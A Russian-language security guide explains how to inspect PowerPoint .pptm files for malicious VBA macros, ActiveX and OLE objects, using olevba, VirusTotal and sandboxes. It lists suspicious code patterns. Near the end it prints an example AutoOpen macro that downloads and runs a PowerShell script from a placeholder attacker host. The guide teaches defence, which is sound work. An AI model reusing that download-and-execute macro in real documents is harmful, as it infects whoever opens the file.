Если вы получили файл .pptm от коллеги, клиента или скачали шаблон из интернета, внутри может скрываться не просто макрос, а полноценная вредоносная нагрузка. Формат .pptm по своей природе поддерживает VBA-код, а значит — может запускать команды в системе. Разберёмся, как такие файлы проверять, что искать и как не навредить себе.
- Почему .pptm — это не просто презентация
- Где прячется вредоносный код
- Как безопасно проверить .pptm-файл
- Шаг 1. Откройте файл как архив
- Шаг 2. Извлеките и проанализируйте VBA-код
- Шаг 3. Ищите подозрительные паттерны в коде
- Шаг 4. Проверьте ActiveX и OLE-объекты
- Инструменты для анализа
- Что делать в зависимости от ситуации
- Частые ошибки при проверке
- Как защититься на постоянной основе
- Пример: что может выглядеть подозрительный код
- Итог
Почему .pptm — это не просто презентация
Расширение .pptm означает, что внутри файла есть макросы — код на VBA (Visual Basic for Applications). Сам по себе макрос не злой. Он может автоматизировать анимацию, подтягивать данные, форматировать слайды. Но тот же VBA умеет:
- запускать внешние программы через
Shell; - обращаться к файловой системе и записывать файлы на диск;
- отправлять сетевые запросы;
- изменять системные настройки через реестр или WMI;
- загружать и исполнять другие компоненты.
Именно поэтому злоумышленники любят форматы с макросами: .docm, .xlsm, .pptm. Файл выглядит как обычная презентация, а внутри — исполняемый код.
Где прячется вредоносный код
В основе .pptm лежит формат OOXML — это, по сути, ZIP-архив с набором XML-файлов и папок. Вредоносный код может находиться в нескольких местах:
- vbaProject.bin — основное хранилище VBA-кода. Именно здесь находятся модули, классы и формы.
- Макросы на событиях — код, привязанный к открытию файла, закрытию презентации, переходу на слайд.
- ActiveX-элементы — элементы управления, встроенные в слайды. Могут содержать скрипты и взаимодействовать с системой.
- OLE-объекты — встроенные файлы (например, Excel-таблицы), внутри которых тоже могут быть макросы.
- Внешние ссылки и подключения — ссылки на сторонние файлы, веб-ресурсы или данные, которые подгружаются при открытии.
Как безопасно проверить .pptm-файл
Главное правило: никогда не открывайте подозрительный .pptm в PowerPoint с включёнными макросами. Вот пошаговый алгоритм проверки.
Шаг 1. Откройте файл как архив
Переименуйте расширение с .pptm на .zip или откройте файл любым архиватором (7-Zip, WinRAR). Вы увидите внутреннюю структуру:
[Content_Types].xmlppt/— слайды, медиа, настройкиdocProps/— свойства документа
Если внутри есть папка word/vbaProject.bin или ppt/vbaProject.bin — файл содержит макросы. Уже это повод быть внимательнее.
Шаг 2. Извлеките и проанализируйте VBA-код
Извлеките vbaProject.bin из архива. Далее есть несколько путей:
- olevba (oletools) — Python-библиотека, которая автоматически извлекает и анализирует VBA-макросы из офисных файлов. Установка:
pip install oletools. Запуск:olevba путь_к_файлу.pptm. Инструмент покажет исходный код макросов и подозрительные конструкции. - VBA Editor (в PowerPoint) — откройте файл с отключёнными макросами, нажмите Alt+F11, изучите дерево проектов. Смотрите модули, формы, обработчики событий.
- pptx2txt или аналоги — для быстрого извлечения текстового содержимого без запуска кода.
Шаг 3. Ищите подозрительные паттерны в коде
При анализе VBA-кода обращайте внимание на следующие конструкции:
AutoOpen,AutoClose,Document_Open,Workbook_Open— автоматический запуск при открытии.Shell— запуск внешних процессов.CreateObject("WScript.Shell")— доступ к системной оболочке.CreateObject("MSXML2.XMLHTTP")— сетевые запросы.Environ$— чтение системных переменных.Kill,Open ... For Output,FileSystemObject— операции с файлами.- Обфусцированный код — бессмысленные имена переменных,
Chr()-последовательности, Base64-строки.
Если видите код, который вызывает Shell с загрузкой чего-то из интернета — это почти наверняка вредоносный сценарий.
Шаг 4. Проверьте ActiveX и OLE-объекты
В структуре архива поищите:
- папки
ppt/oleData/илиppt/activeX/; - файлы с расширеми
.bin, привязанные к ActiveX; - подозрительные объекты в XML-файлах слайдов (
slide*.xml) — ищите теги<w:object>,<p:oleObj>.
ActiveX-компоненты могут быть легитимными (например, кнопки для навигации), но среди них встречаются элементы, которые запускают скрипты или обращаются к внешним ресурсам.
Инструменты для анализа
| Инструмент | Что делает | Уровень подготовки |
|---|---|---|
| olevba (oletools) | Извлекает VBA-код, ищет подозрительные паттерны, проводит статический анализ | Средний — нужен Python |
| VirusTotal | Загрузите файл — проверка по десяткам антивирусных баз | Любой |
| OfficeMalScanner | Извлекает и анализирует макросы из офисных файлов (старый, но рабочий) | Начальный |
| olevba + YARA | Написание собственных правил для поиска конкретных вредоносных паттернов | Продвинутый |
| Sandbox (Cuckoo, Any.Run) | Запуск файла в изолированной среде с мониторингом действий | Продвинутый |
Что делать в зависимости от ситуации
Ситуация 1: вы получили файл от неизвестного отправителя. Не открывайте. Проверьте через VirusTotal. Если файл содержит макросы и нет причин им доверять — удалите.
Ситуация 2: файл от знакомого человека, но с макросами. Свяжитесь с отправителем другим каналом и уточните, действительно ли он присылал этот файл. Затем проверьте через olevba — убедитесь, что код не содержит подозрительных вызовов.
Ситуация 3: вы аналитик безопасности или ИТ-специалист. Используйте связку olevba + sandbox. Извлеките код, проверьте статически, затем запустите в изолированной среде и зафиксируйте все системные вызовы, сетевые запросы и изменения в файловой системе.
Ситуация 4: файл нужен для работы, но макросы вызывают подозрение. Откройте файл с отключёнными макросами. Если содержимое отображается нормально и макросы не критичны — работайте без них. Если макросы нужны — попросите автора объяснить, что они делают.
Частые ошибки при проверке
- Открытие файла с включёнными макросами «просто посмотреть». Это то же самое, что запустить программу с флешки в компьютере. Не делайте так.
- Проверка только расширения. Файл .pptx тоже может содержать угрозы через внешние ссылки, уязвимости в обработке изображений или встроенные объекты. А .pptm без макросов — безопасен.
- Игнорирование ложных срабатываний антивируса. Если антивирус ругается на файл — не спешите добавлять его в исключения. Разберитесь, что именно он нашёл.
- Анализ на рабочей машине. Если подозреваете вредоносный код — анализируйте в виртуальной машине или на выделенном стенде без доступа к корпоративной сети.
- Доверие к «проверенным» источникам без проверки. Даже файл с корпоративного сервера может быть скомпрометирован. Проверяйте всё.
Как защититься на постоянной основе
- Отключите макросы по умолчанию. В PowerPoint: Файл → Параметры → Центр управления безопасностью → Параметры центра управления безопасностью → Параметры макросов. Выберите «Отключать все макросы с уведомлением».
- Используйте защищённый просмотр. Файлы из интернета и вложения из почты по умолчанию открываются в режиме защищённого просмотра, где макросы не работают.
- Поддерживайте антивирус в актуальном состоянии. Современные антивирусы умеют детектировать макросы с вредоносным поведением ещё до открытия файла.
- Обучайте коллег. Большинство заражений происходит не из-за сложных эксплойтов, а потому что человек нажал «Включить содержимое».
- Используйте цифровые подписи. Если в вашей организации макросы нужны — подпишите файлы цифровым сертификатом. Неподписанные макросы блокируются автоматически.
Пример: что может выглядеть подозрительный код
Вот фрагмент VBA-кода, который должен насторожить:
Sub AutoOpen()
Dim x As Object
Set x = CreateObject("WScript.Shell")
x.Run "powershell -ep bypass -c IEX(New-Object Net.WebClient).downloadString('http://evil.site/payload.ps1')"
End Sub
Этот код при открытии презентации скачивает и выполняет PowerShell-скрипт с внешнего сервера. Классический пример вредоносного макроса. Если вы видите что-то подобное — файл нужно изолировать и передать службе безопасности.
Итог
Выявление вредоносных элементов в .pptm — это не разовое действие, а процесс. Начните с извлечения и анализа VBA-кода через olevba. Проверьте структуру архива на наличие подозрительных объектов. Прогоните файл через VirusTotal. Если работаете в корпоративной среде — настройте блокировку макросов по умолчанию и используйте цифровые подписи для легитимных файлов.
Главное правило: макросы в презентации должны быть оправданы. Если вы не понимаете, зачем они нужны — не включайте. Если файл получен из ненадёжного источника — не открывайте вообще. Эти два простых правила закрывают подавляющее большинство векторов атак через офисные документы.
